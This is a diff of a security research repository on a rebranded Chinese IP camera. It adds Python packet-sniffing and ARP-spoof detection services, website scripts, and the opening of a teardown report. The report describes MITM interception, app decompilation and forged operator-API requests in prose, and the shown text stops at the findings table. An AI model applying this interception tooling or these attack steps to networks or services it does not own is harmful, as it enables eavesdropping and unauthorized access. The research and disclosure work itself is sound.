||||||
|
|
||||||
|
|
||||||
|
def _is_known_cloud(ip):
|
||||||
|
for base, prefix in KNOWN_CLOUD_NETS:
|
||||||
|
if _in_net(ip, base, prefix):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _is_lan(ip):
|
||||||
|
return ip.startswith("192.168.") or ip.startswith("10.") or ip.startswith("172.")
|
||||||
|
|
||||||
|
|
||||||
|
def _record(kind, src, dst, detail):
|
||||||
|
ts = datetime.now().strftime("%H:%M:%S")
|
||||||
|
entry = {"ts": ts, "kind": kind, "src": src, "dst": dst, "detail": detail}
|
||||||
|
with _intruder_lock:
|
||||||
|
intruders.append(entry)
|
||||||
|
log(f"INTRUDER [{kind}] {src} -> {dst} {detail}", C_IMPORTANT)
|
||||||
|
|
||||||
|
|
||||||
|
def get_intruders():
|
||||||
|
with _intruder_lock:
|
||||||
|
return list(intruders)
|
||||||
|
|
||||||
|
|
||||||
|
def clear_intruders():
|
||||||
|
with _intruder_lock:
|
||||||
|
intruders.clear()
|
||||||
|
|
||||||
|
|
||||||
|
def run(cfg, flags, running_check):
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||||||
|
sock.bind((cfg["iface"], 0))
|
||||||
|
sock.settimeout(1)
|
||||||
|
except Exception as e:
|
||||||
|
log(f"IntruderWatch: cannot open raw socket: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags["intruder"] = True
|
||||||
|
log("IntruderWatch: armed", C_SUCCESS)
|
||||||
|
|
||||||
|
cam_ip = cfg["camera_ip"]
|
||||||
|
cam_mac = cfg["camera_mac"].lower()
|
||||||
|
our_ip = cfg["our_ip"]
|
||||||
|
router_ip = cfg["router_ip"]
|
||||||
|
|
||||||
|
seen_lan_peers = set() # other LAN hosts that contacted the camera
|
||||||
|
seen_outbound = set() # (dst_ip, proto, port) tuples
|
||||||
|
seen_arp_macs = set() # MACs claiming to be the camera
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
pkt, _ = sock.recvfrom(65535)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except Exception:
|
||||||
|
break
|
||||||
|
|
||||||
|
if len(pkt) < 14:
|
||||||
|
continue
|
||||||
|
|
||||||
|
eth_proto = struct.unpack("!H", pkt[12:14])[0]
|
||||||
|
eth_src = ":".join(f"{b:02x}" for b in pkt[6:12])
|
||||||
|
eth_dst = ":".join(f"{b:02x}" for b in pkt[0:6])
|
||||||
|
|
||||||
|
# ── ARP (0x0806) ────────────────────────────────────────────
|
||||||
|
if eth_proto == 0x0806 and len(pkt) >= 42:
|
||||||
|
arp = pkt[14:42]
|
||||||
|
opcode = struct.unpack("!H", arp[6:8])[0]
|
||||||
|
sender_mac = ":".join(f"{b:02x}" for b in arp[8:14])
|
||||||
|
sender_ip = socket.inet_ntoa(arp[14:18])
|
||||||
|
if opcode == 2 and sender_ip == cam_ip and sender_mac != cam_mac:
|
||||||
|
key = sender_mac
|
||||||
|
if key not in seen_arp_macs:
|
||||||
|
seen_arp_macs.add(key)
|
||||||
|
_record("ARP_SPOOF", sender_mac, cam_ip,
|
||||||
|
f"someone else claims to be camera (real={cam_mac})")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# ── IPv4 (0x0800) ───────────────────────────────────────────
|
||||||
|
if eth_proto != 0x0800 or len(pkt) < 34:
|
||||||
|
continue
|
||||||
|
|
||||||
|
ip_hdr = pkt[14:34]
|
||||||
|
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||||
|
proto = ip_hdr[9]
|
||||||
|
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||||
|
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||||
|
|
||||||
|
# Camera is involved?
|
||||||
|
if cam_ip not in (src_ip, dst_ip):
|
||||||
|
continue
|
||||||
|
|
||||||
|
peer_ip = dst_ip if src_ip == cam_ip else src_ip
|
||||||
|
|
||||||
|
t_start = 14 + ihl
|
||||||
|
sp = dp = 0
|
||||||
|
if proto in (6, 17) and len(pkt) >= t_start + 4:
|
||||||
|
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
|
||||||
|
|
||||||
|
# ── Rule 1: LAN peer that isn't us/router/camera ────────────
|
||||||
|
if _is_lan(peer_ip) and peer_ip not in (our_ip, router_ip, cam_ip):
|
||||||
|
if peer_ip not in seen_lan_peers:
|
||||||
|
seen_lan_peers.add(peer_ip)
|
||||||
|
_record("LAN_PEER", peer_ip, cam_ip,
|
||||||
|
f"unknown LAN host talking to camera (proto={proto} port={dp or sp})")
|
||||||
|
|
||||||
|
# ── Rule 2: outbound to non-whitelisted internet ────────────
|
||||||
|
if src_ip == cam_ip and not _is_lan(peer_ip):
|
||||||
|
if not _is_known_cloud(peer_ip):
|
||||||
|
key = (peer_ip, proto, dp)
|
||||||
|
if key not in seen_outbound:
|
||||||
|
seen_outbound.add(key)
|
||||||
|
_record("UNKNOWN_DST", cam_ip, peer_ip,
|
||||||
|
f"camera contacting unlisted host (proto={proto} dport={dp})")
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
flags["intruder"] = False
|
||||||
|
log("IntruderWatch: stopped", C_SUCCESS)
|
||||||
106
services/sniffer.py
Normal file
106
services/sniffer.py
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
"""Raw packet sniffer — catches all camera traffic headed to us on any port"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import subprocess
|
||||||
|
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
|
||||||
|
from utils import proto as proto_id
|
||||||
|
|
||||||
|
|
||||||
|
_orig_dst_cache = {}
|
||||||
|
|
||||||
|
|
||||||
|
def _lookup_orig_dst(src_ip, src_port, proto):
|
||||||
|
key = (src_ip, src_port, proto)
|
||||||
|
if key in _orig_dst_cache:
|
||||||
|
return _orig_dst_cache[key]
|
||||||
|
result = None
|
||||||
|
try:
|
||||||
|
out = subprocess.run(
|
||||||
|
["conntrack", "-L", "-s", src_ip, "-p", proto, "--sport", str(src_port)],
|
||||||
|
capture_output=True, text=True, timeout=2,
|
||||||
|
).stdout
|
||||||
|
for line in out.splitlines():
|
||||||
|
parts = line.split()
|
||||||
|
d_ip = None
|
||||||
|
d_port = None
|
||||||
|
for p in parts:
|
||||||
|
if p.startswith("dst=") and d_ip is None:
|
||||||
|
d_ip = p[4:]
|
||||||
|
elif p.startswith("dport=") and d_port is None:
|
||||||
|
d_port = p[6:]
|
||||||
|
if d_ip and d_port:
|
||||||
|
break
|
||||||
|
if d_ip and d_port:
|
||||||
|
result = f"{d_ip}:{d_port}"
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
result = None
|
||||||
|
_orig_dst_cache[key] = result
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def run(cfg, flags, running_check):
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||||||
|
sock.bind((cfg["iface"], 0))
|
||||||
|
sock.settimeout(1)
|
||||||
|
except:
|
||||||
|
log("Sniffer: cannot open raw socket", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags["sniffer"] = True
|
||||||
|
log("Sniffer: watching all camera packets", C_SUCCESS)
|
||||||
|
seen = set()
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
pkt, _ = sock.recvfrom(65535)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
if len(pkt) < 34:
|
||||||
|
continue
|
||||||
|
|
||||||
|
eth_proto = struct.unpack("!H", pkt[12:14])[0]
|
||||||
|
if eth_proto != 0x0800:
|
||||||
|
continue
|
||||||
|
|
||||||
|
ip_hdr = pkt[14:34]
|
||||||
|
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||||
|
proto = ip_hdr[9]
|
||||||
|
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||||
|
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||||
|
|
||||||
|
if src_ip != cfg["camera_ip"] or dst_ip != cfg["our_ip"]:
|
||||||
|
continue
|
||||||
|
|
||||||
|
t_start = 14 + ihl
|
||||||
|
|
||||||
|
if proto == 17 and len(pkt) >= t_start + 8:
|
||||||
|
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
|
||||||
|
if dp == 53:
|
||||||
|
continue
|
||||||
|
payload = pkt[t_start + 8:]
|
||||||
|
key = f"udp:{dp}"
|
||||||
|
if key not in seen:
|
||||||
|
seen.add(key)
|
||||||
|
log(f"SNIFF: new UDP port {sp}->{dp}", C_IMPORTANT)
|
||||||
|
orig = _lookup_orig_dst(src_ip, sp, "udp") or "?"
|
||||||
|
pname = proto_id.detect(payload)
|
||||||
|
proto_id.record(pname)
|
||||||
|
log(f"SNIFF: UDP {cfg['camera_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig}) [{pname} {payload[:6].hex()}] ({len(payload)}B)", C_TRAFFIC)
|
||||||
|
log(hexdump(payload), 0)
|
||||||
|
save_raw(cfg["log_dir"], f"sniff_udp{dp}_{sp}", payload)
|
||||||
|
|
||||||
|
elif proto == 6 and len(pkt) >= t_start + 4:
|
||||||
|
sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4])
|
||||||
|
key = f"tcp:{dp}"
|
||||||
|
if key not in seen:
|
||||||
|
seen.add(key)
|
||||||
|
orig = _lookup_orig_dst(src_ip, sp, "tcp") or "?"
|
||||||
|
log(f"SNIFF: new TCP {cfg['camera_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig})", C_IMPORTANT)
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
flags["sniffer"] = False
|
||||||
38
services/udp_listener.py
Normal file
38
services/udp_listener.py
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
"""UDP listener — captures P2P master service and other UDP traffic"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC
|
||||||
|
|
||||||
|
|
||||||
|
def run(port, cfg, flags, running_check):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sock.settimeout(1)
|
||||||
|
try:
|
||||||
|
sock.bind(("0.0.0.0", port))
|
||||||
|
except OSError as e:
|
||||||
|
log(f"UDP:{port} bind failed: {e}", C_ERROR)
|
||||||
|
return
|
||||||
|
|
||||||
|
flags[f"udp{port}"] = True
|
||||||
|
log(f"UDP: listening on :{port}", C_SUCCESS)
|
||||||
|
|
||||||
|
while running_check():
|
||||||
|
try:
|
||||||
|
data, addr = sock.recvfrom(4096)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
log(f"UDP:{port} from {addr[0]}:{addr[1]} ({len(data)}B)", C_TRAFFIC)
|
||||||
|
log(hexdump(data), 0)
|
||||||
|
save_raw(cfg["log_dir"], f"udp{port}_{addr[0]}_{addr[1]}", data)
|
||||||
|
|
||||||
|
if len(data) >= 4:
|
||||||
|
magic = struct.unpack("!I", data[:4])[0]
|
||||||
|
log(f" magic: 0x{magic:08x}", 0)
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
flags[f"udp{port}"] = False
|
||||||
100
site/boot.js
Normal file
100
site/boot.js
Normal file
@@ -0,0 +1,100 @@
|
|||||||
|
/* ─────────────────────────────────────────────────────────
|
||||||
|
camhak.seteclabs.io — boot sequence + reveals + hud
|
||||||
|
───────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
// ─── HUD live clock ──────────────────────────────────────
|
||||||
|
(function clock() {
|
||||||
|
const el = document.getElementById("hud-clock");
|
||||||
|
if (!el) return;
|
||||||
|
function tick() {
|
||||||
|
const d = new Date();
|
||||||
|
const pad = n => String(n).padStart(2, "0");
|
||||||
|
el.textContent = `${pad(d.getUTCHours())}:${pad(d.getUTCMinutes())}:${pad(d.getUTCSeconds())}Z`;
|
||||||
|
}
|
||||||
|
tick();
|
||||||
|
setInterval(tick, 1000);
|
||||||
|
})();
|
||||||
|
|
||||||
|
// ─── Boot sequence (typewriter) ──────────────────────────
|
||||||
|
(function boot() {
|
||||||
|
const el = document.getElementById("boot");
|
||||||
|
if (!el) return;
|
||||||
|
|
||||||
|
const lines = [
|
||||||
|
{ t: "[boot] setec-rom v3.41 init", c: "ok" },
|
||||||
|
{ t: "[boot] cpu: armv7l-thumb / 2 cores / 1.0ghz", c: "ok" },
|
||||||
|
{ t: "[boot] memory map ........................ ok", c: "ok" },
|
||||||
|
{ t: "[boot] crt phosphor warmup .................. ok", c: "ok" },
|
||||||
|
{ t: "[net] link: enP4p65s0 / 192.168.1.172", c: "ok" },
|
||||||
|
{ t: "[net] upstream: setec.fun / verified", c: "ok" },
|
||||||
|
{ t: "[svc] loading payload: camhak/index", c: "" },
|
||||||
|
{ t: "[svc] decrypting findings ............... 18 records", c: "ok" },
|
||||||
|
{ t: "[warn] subject vendor unresponsive (CISA)", c: "warn" },
|
||||||
|
{ t: "[scan] uplink stable. handing off to renderer.", c: "ok" },
|
||||||
|
{ t: "", c: "" },
|
||||||
|
];
|
||||||
|
|
||||||
|
let li = 0, ci = 0;
|
||||||
|
let buf = "";
|
||||||
|
const speed = 6; // ms per char
|
||||||
|
|
||||||
|
function step() {
|
||||||
|
if (li >= lines.length) {
|
||||||
|
el.innerHTML = buf + '<span class="cur">█</span>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const line = lines[li];
|
||||||
|
if (ci === 0 && line.t.length === 0) {
|
||||||
|
buf += "\n";
|
||||||
|
li++;
|
||||||
|
setTimeout(step, 60);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (ci < line.t.length) {
|
||||||
|
ci++;
|
||||||
|
} else {
|
||||||
|
// line complete; wrap with class
|
||||||
|
const wrapped = line.c ? `<span class="${line.c}">${line.t}</span>` : line.t;
|
||||||
|
// replace the in-progress text with the wrapped version
|
||||||
|
buf = buf.replace(line.t, wrapped) + "\n";
|
||||||
|
li++;
|
||||||
|
ci = 0;
|
||||||
|
setTimeout(step, 90);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// render in-progress (without span coloring while typing)
|
||||||
|
el.innerHTML = buf + line.t.slice(0, ci) + '<span class="cur">█</span>';
|
||||||
|
setTimeout(step, speed + Math.random() * 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
step();
|
||||||
|
})();
|
||||||
|
|
||||||
|
// ─── Section reveal on scroll (one-shot) ─────────────────
|
||||||
|
(function reveal() {
|
||||||
|
if (!("IntersectionObserver" in window)) {
|
||||||
|
document.querySelectorAll(".reveal").forEach(el => el.classList.add("in-view"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const io = new IntersectionObserver((entries) => {
|
||||||
|
entries.forEach(e => {
|
||||||
|
if (e.isIntersecting) {
|
||||||
|
e.target.classList.add("in-view");
|
||||||
|
io.unobserve(e.target);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}, { rootMargin: "0px 0px -10% 0px", threshold: 0.05 });
|
||||||
|
|
||||||
|
document.querySelectorAll(".reveal").forEach(el => io.observe(el));
|
||||||
|
})();
|
||||||
|
|
||||||
|
// ─── Random subtle glitch on the hero every ~10s ─────────
|
||||||
|
(function periodicGlitch() {
|
||||||
|
const el = document.getElementById("ascii-logo");
|
||||||
|
if (!el) return;
|
||||||
|
setInterval(() => {
|
||||||
|
el.style.animation = "none";
|
||||||
|
void el.offsetWidth;
|
||||||
|
el.style.animation = "glitch-shake 0.4s linear";
|
||||||
|
}, 9000 + Math.random() * 5000);
|
||||||
|
})();
|
||||||
BIN
site/img/cloud_api_redacted.png
Normal file
BIN
site/img/cloud_api_redacted.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 74 KiB |
BIN
site/img/dashboard.png
Normal file
BIN
site/img/dashboard.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 73 KiB |
BIN
site/img/intruders.png
Normal file
BIN
site/img/intruders.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 297 KiB |
BIN
site/img/live_log.png
Normal file
BIN
site/img/live_log.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 342 KiB |
832
site/index.html
Normal file
832
site/index.html
Normal file
@@ -0,0 +1,832 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>CAMHAK :: Inside a $30 Chinese IP Camera — Setec Labs</title>
|
||||||
|
<meta name="description" content="A full security teardown of a rebranded UBIA / Javiscam IP camera. 20 findings, 3 CVEs, original PoCs. Setec Labs research.">
|
||||||
|
<link rel="stylesheet" href="https://seteclabs.io/style.css">
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="bezel"></div>
|
||||||
|
<div class="grain"></div>
|
||||||
|
<div class="vignette"></div>
|
||||||
|
|
||||||
|
<div id="hud">
|
||||||
|
<div class="hud-row"><span class="hud-key">UPLINK</span><span class="hud-val hud-blink">●</span><span class="hud-val">SECURE</span></div>
|
||||||
|
<div class="hud-row"><span class="hud-key">NODE</span><span class="hud-val">CAMHAK-01</span></div>
|
||||||
|
<div class="hud-row"><span class="hud-key">TIME</span><span class="hud-val" id="hud-clock">--:--:--</span></div>
|
||||||
|
<div class="hud-row"><span class="hud-key">USER</span><span class="hud-val">guest@setec</span></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="container">
|
||||||
|
|
||||||
|
<pre id="boot" aria-hidden="true"></pre>
|
||||||
|
|
||||||
|
<pre id="ascii-logo" class="glitch" data-text="CAMHAK">
|
||||||
|
██████╗ █████╗ ███╗ ███╗██╗ ██╗ █████╗ ██╗ ██╗
|
||||||
|
██╔════╝██╔══██╗████╗ ████║██║ ██║██╔══██╗██║ ██╔╝
|
||||||
|
██║ ███████║██╔████╔██║███████║███████║█████╔╝
|
||||||
|
██║ ██╔══██║██║╚██╔╝██║██╔══██║██╔══██║██╔═██╗
|
||||||
|
╚██████╗██║ ██║██║ ╚═╝ ██║██║ ██║██║ ██║██║ ██╗
|
||||||
|
╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
<div id="tagline">// 20 FINDINGS / 3 LIVE CVES / 1 BLINKING LIGHT //</div>
|
||||||
|
|
||||||
|
<div class="byline">
|
||||||
|
a setec labs original investigation · <span id="dateline">april 2026</span> · report v1.0
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<nav>
|
||||||
|
<a href="#tldr">TL;DR</a>
|
||||||
|
<a href="#target">Target</a>
|
||||||
|
<a href="#methodology">Method</a>
|
||||||
|
<a href="#findings">Findings</a>
|
||||||
|
<a href="#cves">CVEs</a>
|
||||||
|
<a href="#tools">Tools</a>
|
||||||
|
<a href="#screenshots">Shots</a>
|
||||||
|
<a href="#firmware">Firmware</a>
|
||||||
|
<a href="#disclosure">Disclosure</a>
|
||||||
|
<a href="#contact">Contact</a>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<hr class="divider-heavy">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="tldr">
|
||||||
|
<div class="section-title">Executive Summary</div>
|
||||||
|
<div class="text-block">
|
||||||
|
<p>I bought a generic Chinese IP camera off a marketplace listing — the kind that costs less than dinner. Plugged it in, watched what it does, then started taking it apart. Three weeks later I had extracted hardcoded admin secrets, forged authenticated requests against the vendor's operator API, mapped the entire cloud backend, identified eight leaked Google & Alibaba API keys, confirmed three CVEs apply to the device, and put together this report.</p>
|
||||||
|
|
||||||
|
<p>The vendor is <strong class="hl">UBIA Technologies</strong> — legal name <em>Shenzhen Qingshi Internet Technology Co., Ltd.</em> (深圳市青视互联科技有限公司), founded 2014, based in Bao'an District, Shenzhen. They claim to have shipped over three million low-power cameras. The hardware is the same Ingenic T31 reference design sold under at least <strong class="hl">nine brand names</strong> — UBox, UCon, YBox, Javiscam, Funstorm, i-Cam+, Soliom+, icamplus, Jarvis-, xega — all the same firmware, all the same backend, all the same problems.</p>
|
||||||
|
|
||||||
|
<p>UBIA didn't respond when CISA tried to contact them about the existing CVE-2025-12636. They probably won't respond to this either. I'm publishing under a 90-day responsible-disclosure window from <span id="report-date">April 2026</span> with sensitive specifics redacted; CISA coordinators and UBIA security contacts can request the unredacted artifact pack at the email below.</p>
|
||||||
|
|
||||||
|
<p>This report covers 20 distinct findings, 3 applicable CVEs, the full toolchain we built, and the failed paths we tried so other researchers don't have to repeat them. Everything below is from research on a device I own. No production user data was touched. PII has been redacted from all example payloads. The source code for every tool is published at <a href="https://repo.seteclabs.io/SetecLabs/cam-mitm">repo.seteclabs.io/SetecLabs/cam-mitm</a>.</p>
|
||||||
|
|
||||||
|
<p class="muted small">Methodology: passive observation first, MITM on a controlled LAN, decompilation of the official Android app, native binary analysis of the bundled <code>libUBICAPIs.so</code> series, original PoC verifiers built from scratch (no public exploit code reused), and direct reproduction against my own camera. No port scans were run against the vendor's infrastructure. No credentials beyond my own account were used. No production accounts were touched.</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="target">
|
||||||
|
<div class="section-title">Target Profile</div>
|
||||||
|
<div class="text-block">
|
||||||
|
<pre class="codeblock">
|
||||||
|
<span class="k">Brand</span> Javiscam <span class="dim">(one of nine OEM rebrands of the same hardware)</span>
|
||||||
|
<span class="k">Model</span> 2604 <span class="dim">(Product ID 1619)</span>
|
||||||
|
<span class="k">SoC</span> Ingenic T31 (Junzheng) <span class="dim">— per UBIA marketing</span>
|
||||||
|
<span class="k">Android App</span> cn.ubia.ubox v1.1.360 <span class="dim">(Pro: com.ubianet.uboxpro)</span>
|
||||||
|
<span class="k">Vendor</span> UBIA Technologies Co. <span class="dim">/ Shenzhen Qingshi Internet Technology Co.</span>
|
||||||
|
<span class="k">Founded</span> 2014 <span class="dim">(Bao'an District, Shenzhen, Guangdong)</span>
|
||||||
|
<span class="k">Firmware</span> 2604.1.2.69 <span class="dim">(current shipping)</span>
|
||||||
|
<span class="k">P2P Stack</span> ThroughTek Kalay <span class="dim">(rebranded internally as "UBIC")</span>
|
||||||
|
<span class="k">MAC OUI</span> 14:92:F9 <span class="dim">(TP-Link reference design)</span>
|
||||||
|
<span class="k">IOTC UID</span> 20-char alphanumeric <span class="dim">(Kalay format, REDACTED)</span>
|
||||||
|
<span class="k">Cloud Portal</span> portal.ubianet.com <span class="dim">(US, CN, EU regions)</span>
|
||||||
|
<span class="k">OAM Portal</span> oam.ubianet.com <span class="dim">(operator/admin tier)</span>
|
||||||
|
<span class="k">Photo Storage</span> Alibaba OSS + AWS S3 <span class="dim">(ubiasnap-{eu,as} multi-region)</span>
|
||||||
|
<span class="k">OTA Storage</span> Tencent COS <span class="dim">(ubiaota-us-1312441409, ubiaota-cn-1312441409)</span>
|
||||||
|
<span class="k">Tencent APPID</span> 1312441409
|
||||||
|
<span class="k">Push Service</span> TCP/20003
|
||||||
|
<span class="k">P2P Relay</span> UDP/10240 <span class="dim">(Tencent + Alibaba clouds)</span>
|
||||||
|
<span class="k">Master Servers</span> portal.{us,cn}.ubianet.com <span class="dim">+ ThroughTek Kalay masters</span>
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
<p>Architecture is the standard Shenzhen IPC playbook: small ARM SoC, no inbound services, all comms outbound through a P2P relay run by ThroughTek's master servers and the vendor's portal. The camera never opens a port to the LAN. It just dials home, registers its UID against a Kalay master, and waits for the legitimate client app to connect through the relay. Local control requires the per-device IOTC credentials, which the cloud API leaks (V01).</p>
|
||||||
|
|
||||||
|
<p>The vendor's own marketing page (<code>ubia.com.cn/intro/1.html</code>) confirms the SoC family: UBIA describes themselves as having "launched a Junzheng T31 low-power doorbell / battery camera" with over three million units shipped. Junzheng is the Chinese name for Ingenic. T31 is the standard battery-IPC reference SoC, fully supported by the open-source <a href="https://openipc.org">OpenIPC</a> project.</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="methodology">
|
||||||
|
<div class="section-title">Methodology</div>
|
||||||
|
<div class="text-block">
|
||||||
|
<p>Standard ISC research methodology, no unusual tradecraft:</p>
|
||||||
|
|
||||||
|
<ol class="reasons">
|
||||||
|
<li>
|
||||||
|
<span class="num">01</span>
|
||||||
|
<div>
|
||||||
|
<strong>Passive observation.</strong> Plug the camera into a controlled LAN. Capture all traffic with <code>tcpdump</code>. Identify the cloud endpoints, DNS lookups, P2P registration packets, and connectivity-check destinations the device hits without prompting. Output: a list of every IP and hostname the camera ever talks to.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">02</span>
|
||||||
|
<div>
|
||||||
|
<strong>Active MITM on the LAN.</strong> Build a small Python framework (later <code>setec_suite/cam-mitm</code>) that does ARP spoofing, DNS interception with our own answers, HTTP/HTTPS interception with auto-generated certs, raw packet sniffing per IP, and protocol fingerprinting from the first 6 bytes of every payload. Use it to capture the camera's API requests in cleartext and analyze them.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">03</span>
|
||||||
|
<div>
|
||||||
|
<strong>App decompilation.</strong> Pull the official UBox Android app from APKPure (<code>cn.ubia.ubox</code> v1.1.360). Extract resources with <code>jadx</code>. Statically grep for: API endpoint strings, hardcoded credentials, cryptographic constants, OAuth/OAM signing schemes, hardcoded IPs and hostnames, third-party SDK identifiers. Cross-reference any interesting findings against the live MITM captures.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">04</span>
|
||||||
|
<div>
|
||||||
|
<strong>Native binary analysis.</strong> The app's TUTK/Kalay stack is in <code>libUBICAPIs.so</code> (and <code>...23.so</code>, <code>...29.so</code> for ABI variants). Pull strings, list exported symbols with <code>nm -D</code>, locate the crypto init/encode/decode functions, disassemble those with <code>arm-linux-gnueabi-objdump</code>, and look for static keys, master server hostnames, and runtime-derived auth schemes.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">05</span>
|
||||||
|
<div>
|
||||||
|
<strong>Authenticated API enumeration.</strong> Log into the cloud portal with my own account using our reproduced auth scheme. Hit every endpoint we harvested from the decompiled app (146 of them) with empty bodies first; flag any that return real data, an error code with a meaningful message, or a documented schema. Then mutate parameters on the interesting ones.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">06</span>
|
||||||
|
<div>
|
||||||
|
<strong>Forged operator-API requests.</strong> The decompiled app contains an <code>OamHttpClient</code> class with a hardcoded HMAC secret used to sign requests against UBIA's operator/admin tier (<code>oam.ubianet.com</code>). Reproduce the signing scheme. Forge requests against the OAM endpoints we know exist. Confirm acceptance.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">07</span>
|
||||||
|
<div>
|
||||||
|
<strong>CVE verification.</strong> Build original non-destructive verifiers for the CVEs we believe apply (CVE-2025-12636 cred leak, CVE-2021-28372 Kalay UID hijack, CVE-2023-6322/6323/6324 Kalay LAN parser chain). Each verifier probes the necessary preconditions on the live camera and reports VULN / NOT_VULN / UNKNOWN with evidence. No exploit payloads were sent. No overflow attempts. No spoofed master-server registrations.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">08</span>
|
||||||
|
<div>
|
||||||
|
<strong>Documentation.</strong> Every finding gets a numbered V-record with severity, source location, vector summary, evidence, and remediation guidance. Sensitive specifics (actual leaked secret values, the alternate hardcoded password, the live API keys) are redacted from this public report and held back for the vendor.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
</ol>
|
||||||
|
|
||||||
|
<p>What I did <strong>not</strong> do: scan the vendor's infrastructure with port scanners, test against accounts other than my own, perform any operation that would interfere with other users' devices, send overflow / fuzz payloads to the live camera, or use any public exploit code. Every PoC in this report is original.</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="findings">
|
||||||
|
<div class="section-title">Findings <span class="counter">[ V01 — V20 ]</span></div>
|
||||||
|
<div class="text-block">
|
||||||
|
<p>Twenty distinct issues. Severity is mine, calibrated to "what an attacker can actually do" rather than CVSS theatre. Sensitive technical specifics are redacted on this public page; the unredacted artifact pack is available to CISA coordinators and UBIA security contacts on request.</p>
|
||||||
|
|
||||||
|
<table class="findings">
|
||||||
|
<thead>
|
||||||
|
<tr><th class="col-id">ID</th><th class="col-sev">Severity</th><th>Title</th></tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
